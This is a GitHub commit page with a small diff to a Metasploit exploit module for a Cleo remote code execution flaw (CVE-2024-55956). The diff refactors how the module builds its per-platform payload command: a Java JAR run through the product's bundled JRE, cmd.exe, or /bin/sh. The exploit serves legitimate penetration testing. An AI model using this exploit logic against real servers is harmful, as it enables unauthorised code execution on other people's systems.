Skip to content

Commit e340e3e

Browse files
committed
favor a case statement over the if/elsif blocks (thanks jvoisin).
1 parent 98f9045 commit e340e3e

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -113,22 +113,23 @@ def exploit
113113
jar_file = nil
114114
command = nil
115115

116-
if target['Platform'] == 'java'
116+
case target['Platform']
117+
when 'java'
117118
jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
118119

119120
jar_file = payload.encoded_jar(random: true)
120121

121122
# The product ships its own JRE, so we can use a relative path to run our Java JAR file.
122123
command = "jre/bin/java -jar \"#{jar_path}\""
123-
elsif target['Platform'] == 'win'
124+
when 'win'
124125
command = "cmd.exe /c \"#{payload.encoded}\""
125-
elsif (target['Platform'] == 'linux') || (target['Platform'] == 'unix')
126+
when 'linux', 'unix'
126127
command = "/bin/sh -c \"#{payload.encoded}\""
128+
else
129+
fail_with(Failure::BadConfig, 'Unsupported target platform')
127130
end
128131

129-
if command.nil?
130-
fail_with(Failure::BadConfig, 'Unsupported target platform')
131-
elsif command.include? ']]>'
132+
if command.include? ']]>'
132133
# As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
133134
fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
134135
end

0 commit comments

Comments
 (0)